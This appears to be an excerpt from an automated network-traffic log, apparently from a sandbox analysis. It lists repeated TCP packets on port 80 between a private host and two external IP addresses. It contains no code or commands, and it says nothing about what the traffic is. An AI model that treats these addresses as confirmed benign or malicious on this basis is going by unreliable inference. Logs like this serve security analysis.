                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.662250042 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.662297010 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.662378073 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.662425995 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.663343906 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.663392067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.663502932 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.663549900 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.664587021 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.664634943 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.664700031 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.664746046 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.665596962 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.665642977 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.665687084 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.665745020 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.666668892 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.666718006 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.666754961 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.666800976 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.667875051 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.667920113 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.668011904 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.668054104 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.668889999 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.668940067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.668981075 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.669024944 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.670034885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.670084953 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.670095921 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.670140982 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.671789885 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.671830893 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.671860933 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.671905041 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.672543049 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.672588110 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.672666073 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.672712088 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.673417091 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.673463106 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.673480034 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.673525095 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.674453974 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.674495935 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.674597025 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.674638033 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.675659895 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.675677061 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.675709963 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.675724030 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.676675081 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.676719904 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.676841021 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.676883936 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.677776098 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.677823067 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.677947044 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.677992105 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.678944111 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.678989887 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.679071903 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:17.679120064 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:20.004364967 CET4975480192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:20.004662037 CET4978680192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:20.124679089 CET8049786185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:20.124825954 CET8049754185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:20.124933958 CET4975480192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:20.125127077 CET4978680192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:20.125127077 CET4978680192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:20.244884968 CET8049786185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:21.476577997 CET8049786185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:21.480134010 CET4978680192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:21.481969118 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:21.482223988 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:21.602000952 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:21.602186918 CET804976031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:21.602390051 CET4976080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:21.602390051 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:21.602497101 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:21.722218990 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931256056 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931276083 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931289911 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931349039 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931377888 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931387901 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931392908 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931416988 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931421995 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931435108 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931437016 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931458950 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931478977 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931694984 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931711912 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931726933 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931752920 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:22.931787968 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.051860094 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.051889896 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.051984072 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.056257010 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.058500051 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.142972946 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.143605947 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.171297073 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.171324968 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.171370029 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.171406031 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.177994013 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.178427935 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263318062 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263338089 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263361931 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263376951 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263386011 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263394117 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263408899 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263417006 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263426065 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263442039 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263454914 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263458014 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263473034 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263497114 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263520956 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263564110 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263717890 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263741970 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263758898 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263775110 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263789892 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263796091 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263822079 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263830900 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263839960 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263848066 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.263889074 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.264463902 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.264481068 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.264516115 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.264545918 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.267399073 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.267793894 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.315299988 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.315335989 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.315382957 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.319259882 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.319319010 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.319339037 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.319389105 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.327337027 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.327451944 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.327481985 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.327640057 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.383135080 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.383186102 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.383244038 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.383287907 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.387109995 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.387257099 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.387298107 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.395519018 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.395601988 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.395648956 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.403336048 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.403393030 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.403429031 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.403470993 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.410167933 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.410192013 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.410214901 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.410234928 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.416040897 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.416065931 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.416109085 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.422445059 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.422513008 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.422558069 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.428515911 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.428541899 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.428581953 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.428597927 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.434608936 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.434659958 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.435053110 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.435105085 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.440555096 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.440612078 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.440661907 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.440709114 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.447101116 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.447124004 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.447165966 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.453506947 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.453548908 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.453664064 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.453711987 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.458379984 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.458471060 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.458514929 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.463891029 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.463916063 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.463958025 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.469157934 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.469182968 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.469234943 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.474313021 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.474338055 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.474370003 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.474380970 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.479268074 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.479329109 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.479330063 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.479370117 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.484620094 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.484643936 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.484673023 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.484682083 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.490047932 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.490098953 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.490154028 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.495062113 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.495134115 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.508198023 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.508251905 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.508256912 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.508294106 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.510920048 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.510972977 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.510981083 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.511033058 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.516026020 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.516072035 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.516079903 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.516124964 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.521379948 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.521435022 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.521436930 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.521477938 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.526215076 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.526241064 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.526262999 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.526281118 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.531452894 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.531478882 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.531517982 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.536535978 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.536570072 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.536583900 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.536607027 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.541703939 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.541748047 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.541758060 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.541790962 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.546859026 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.546909094 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.546963930 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.547008038 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:23.552006006 CET804978731.41.244.11192.168.2.4
